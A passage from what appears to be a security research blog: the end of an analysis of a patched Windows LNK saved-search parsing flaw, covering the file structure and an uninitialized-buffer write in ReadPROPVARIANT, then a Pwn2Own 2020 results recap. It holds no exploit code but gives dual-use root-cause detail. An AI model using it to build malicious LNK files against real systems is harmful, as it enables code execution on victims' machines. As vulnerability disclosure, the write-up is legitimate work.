is contained in a VT_STREAM Property which is identified by the name “Condition”. This results in a PropertyStore item having the following structure: The Condition object is generally either a “Leaf Condition” or a “Compound Condition” object that contains a number of nested objects generally including one or more Leaf Condition objects and possibly additional Compound Condition objects. Both condition objects begin with the following structure: The Condition GUID will be {52F15C89-5A17-48E1-BBCD-46A3F89C7CC2} for a Leaf Condition and {116F8D13-101E-4FA5-84D4-FF8279381935} for a Compound Condition. The Attributes field consists of attribute structures, where the number of attributes structures is defined by the field “Number of Attributes”. Each attribute structure corresponds to an attribute element from the .search-ms file and begins with the following structure: The remaining structure of an Attribute depends on the AttributeID and CLSID. For the aforementioned CONDITION_HISTORY attribute, the attributeID is set to {9554087B-CEB6-45AB-99FF-50E8428E860D} and has a CLSID of {C64B9B66-E53D-4C56-B9AE-FEDE4EE95DB1}. The remaining structure will be a ConditionHistory object having the following structure. Note that the fields are named the same as the matching attributes of the attribute XML element: If the value of has_nested_condition is greater than zero, the CONDITION_HISTORY attribute will have a nested condition object, which may itself have nested attributes that have nested conditions and so on. Once the top-level attribute is fully read including all nested structures, the Compound Condition and Leaf Condition structures begin to differ. The remaining structure of a Compound Condition is as follows, with offsets relative to the end of the Attributes field: The numFixedObjects field determines how many additional conditions (typically Leaf Conditions) will immediately follow. The remaining structure of a Leaf Condition is as follows, with offsets relative to the end of the Attributes field: The presence of the TokenInformationComplete structures depends on whether the preceding flag is set. If it is not set, the structure is not present, and the next flag immediately follows. If it is set, the following structure is present: In summary, the following tree shows the simplest possible structure of an LNK file with a saved search, with irrelevant structures removed for simplicity: Keep in mind a search with a single Leaf Condition results in the simplest structure. More often than not, a saved search LNK file will begin with a Compound Condition and many nested structures including many Leaf Conditions.The VulnerabilityNow that we’ve explained the core structure of a saved search LNK file, we can take a look at the vulnerability itself, which lies in how the PropertyVariant field of Leaf Conditions are handled.The PropertyVariant field of a Leaf Condition roughly corresponds to a PROPVARIANT structure. PropertyVariant structures consist of a 2-byte type followed by data specific to that type. It is important to note that StructuredQuery appears to have a slightly custom implementation of the PROPVARIANT structure as the padding bytes specified in Microsoft’s specification are generally not present.It is also important to note that a value of 0x1000, or VT_VECTOR, combined with another type, means that there will be several values of the specified type.Parsing of the PropertyVariant field is handled by our previously mentioned vulnerable function, StructuredQuery1::ReadPROPVARIANT(). The function first reads the 2-byte type and checks to see if VT_ARRAY (0x2000) is set, due to the fact it is not supported in StructuredQuery: The function then checks if the type is VT_UI4 (0x0013) and if not, enters a switch statement to handle all other types.The vulnerability itself lies in how a PropertyVariant with a type of VT_VARIANT (0x000C) is handled. The VT_VARIANT type is typically used in combination with VT_VECTOR which effectively results in a series of PropertyVariant structures. In other words, this is like having an array where members of the array may be of any data type.When the type of the PropertyVariant is set to VT_VARIANT (0x000C), the full type field is checked to see if VT_VECTOR is set. If VT_VECTOR is not set, a 24 byte buffer is allocated with a call to CoTaskMemAlloc() and the buffer is passed to a recursive call to ReadPROPVARIANT(), with the intention that the buffer will be filled with the property that immediately follows the VT_VARIANT field. However, the buffer is not initialized (e.g. filled with NULL bytes) before it is passed to ReadPROPVARIANT(). If the nested property has a type of VT_CF (0x0047), a property that is intended to contain a pointer to clipboard data, ReadPROPVARIANT() performs the same check for VT_VECTOR and if it is not set, attempts to write the next 4 bytes of the stream into a location pointed to by an 8-byte value in the previously allocated 24 byte buffer. Due to the fact the buffer was not initialized, the data will be written to an undefined memory location, potentially leading to arbitrary code execution. The attempted data write can be seen in the following exception and partial stack trace from WinDBG with Page Heap enabled on explorer.exe: Essentially, if an attacker can manipulate the memory layout in just the right way so that the uninitialized buffer contains a value they control, they can write any data 4 bytes at a time to a memory address of their choosing.ConclusionAnalysis of a patched vulnerability wouldn’t be complete without mentioning how the vulnerability was resolved. In this particular case, the solution was simple; fill the newly allocated 24-byte buffer with NULL bytes, ensuring that an attacker is unable to utilize data in the buffer leftover from previous uses of that memory location. Microsoft released their patch in February. It should be noted that Microsoft addressed another LNK vulnerability in March, but the March patch is unrelated to this particular bug.Special thanks to John Simpson and Pengsu Cheng of the Trend Micro Research Team for providing such a thorough analysis of this vulnerability. For an overview of Trend Micro Research services please visit http://go.trendmicro.com/tis/. The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the ZDI team for the latest in exploit techniques and security patches.

  • Pwn2Own Day Two – Results and Master of Pwn
    by Dustin Childs on March 20, 2020 at 4:07 pm

    The final day of Pwn2Own 2020 came to a close yesterday, but not before a bit of drama, intrigue, and more great research. We saw two successful attempts, which resulted in four new bugs earning $90,000. That brings the two-day total to $270,000. Here’s a quick recap of Day Two and the entire event: Our day began with returning Pwn2Own veteran Phi Phạm Hồng (@4nhdaden) of STAR Labs (@starlabs_sg) targeting Oracle VirtualBox in the Virtualization category. It took all three attempts for a successful demonstration, which heightened the drama, but his third attempt worked like a charm. He combined an info leak & an uninitialized variable to execute code on the host OS from the guest OS. This earned him $40,000 and four points towards Master of Pwn. Figure 1 – Phi Phạm Hồng of STAR Labs watches his Oracle exploit succeed Next up, the Fluoroacetate duo of Amat Cama and Richard Zhu returned for their second event of the competition. This time, they had their sights set on Adobe Reader. In one of the most impressive displays of the competition, they leveraged UAFs in Reader and Windows kernel to escalate to SYSTEM. All it took was opening a PDF and the entire system was compromised. This impressive display earned them another $50,000 and 5 more points towards Master of Pwn. Figure 2: The Fluoroacetate duo of Richard Zhu (top) and Amat Cama exploit Adobe Reader In the final official entry of Pwn2Own 2020, the Synacktiv team of Corentin Bayet (@OnlyTheDuck) and Bruno Pujos (@BrunoPujos) targeted VMware Workstation with a guest-to-host escape. Unfortunately, they could not successfully demonstrate their exploit in the allotted time. However, upon disclosure, we did find the bug to be valid and purchased it through the regular ZDI program. We hope to see more from these researchers in the future. Figure 3 – The Synactiv team of Bruno Pujos (top) and Corentin Bayet In a special bonus feature, ZDI’s own Lucas Leong (@_wmliang_) demonstrated a guest-to-host escape in Oracle VirtualBox. He leveraged an out-of-bounds read for an info leak and a use-after-free for code execution. You can watch a video of the demonstration on our YouTube channel.That brings to a close this year’s event. As always, vendors have received the details of these bugs and vendors of Pwn2Own-awarded bug reports have 90 days to produce security patches to address the issues we reported. Once these are made public, stay tuned to this blog for more details about some of the best and most interesting research we saw this week. It was a tighter race than previous years, but Richard Zhu and Amat Cama of Fluoroacetate again were crowned the Master of Pwn. In addition to the trophy and custom hockey jerseys, they receive 65,000 ZDI reward points, which gives them Platinum status. Figure 4: Final Master of Pwn standings Special Thanks We wanted to be sure to thank everyone who participated in this year’s competition. There were definitely hurdles to clear, but everyone was accommodating and worked with us to make Pwn2Own 2020 happen. We want to thank the participants for trusting us with their research and allowing us to run each attempt. We want to thank Microsoft, VMware, Apple, Adobe, and Canonical for dialing in throughout the disclosure process. Their continued involvement in coordinated disclosure and security response processes helps the entire community. Special thanks also go out to our partners Microsoft and Tesla and sponsor VMware for their support and assistance before and during the contest. The world right now is a tumultuous place full of uncertainty. It is communities, such as the security research community and the incident response community, that we can rely on during these trying times. We are so appreciative of all those who helped the event come together and succeed. We’ll get through this together, and we hope to see you again at our next event. Until then, you can follow the team for the latest in exploit techniques and security patches.

Share This Information.

Leave a Reply

Your email address will not be published. Required fields are marked *